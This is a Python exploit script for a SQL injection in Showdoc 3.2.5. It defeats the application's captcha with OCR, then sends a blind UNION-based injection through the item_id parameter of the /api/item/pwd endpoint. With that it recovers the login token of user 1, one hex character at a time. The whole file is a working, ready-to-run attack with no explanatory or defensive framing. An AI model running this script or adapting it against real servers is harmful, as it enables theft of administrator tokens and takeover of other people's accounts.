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87 lines
2.2 KiB
Python
87 lines
2.2 KiB
Python
import argparse
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import ddddocr
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import requests
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import onnxruntime
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from urllib.parse import urljoin
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onnxruntime.set_default_logger_severity(3)
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table = '0123456789abcdef'
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proxies = {'http': 'http://127.0.0.1:8085'}
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ocr = ddddocr.DdddOcr()
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ocr.set_ranges(table)
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class RetryException(Exception):
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pass
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def retry_when_failed(func):
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def retry_func(*args, **kwargs):
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while True:
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try:
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return func(*args, **kwargs)
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except RetryException:
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continue
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except Exception as e:
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raise e
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return retry_func
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def generate_captcha(base: str):
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data = requests.get(f"{base}?s=/api/common/createCaptcha").json()
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captcha_id = data['data']['captcha_id']
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response = requests.get(f'{base}?s=/api/common/showCaptcha&captcha_id={captcha_id}')
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data = response.content
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result = ocr.classification(data)
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return captcha_id, result
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@retry_when_failed
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def exploit_one(base: str, current: str, ch: str) -> str:
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captcha_id, captcha_text = generate_captcha(base)
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data = requests.get(base, params={
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's': '/api/item/pwd',
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'page_id': '0',
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'password': '1',
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'captcha_id': captcha_id,
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'captcha': captcha_text,
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'item_id': f"aa') UNION SELECT 1,1,1,1,1,(SELECT 1 FROM user_token WHERE uid = 1 AND token LIKE '{current}{ch}%' LIMIT 1),1,1,1,1,1,1 FROM user_token; -- "
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}).json()
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if data['error_code'] == 0:
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return ch
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elif data['error_code'] == 10010:
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return ''
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elif data['error_code'] == 10206:
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raise RetryException()
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else:
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print(f'error: {data!r}')
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raise Exception('unknown exception')
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def main():
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parser = argparse.ArgumentParser(description='Showdoc 3.2.5 SQL injection')
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parser.add_argument('-u', '--url', type=str, required=True)
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args = parser.parse_args()
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target = urljoin(args.url, '/server/index.php')
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res = ''
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for i in range(64):
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r = ''
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for ch in list(table):
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r = exploit_one(target, res, ch)
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if r:
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res += ch
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break
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print(f'Current result: {res}')
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if not r:
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break
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if __name__ == '__main__':
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main()
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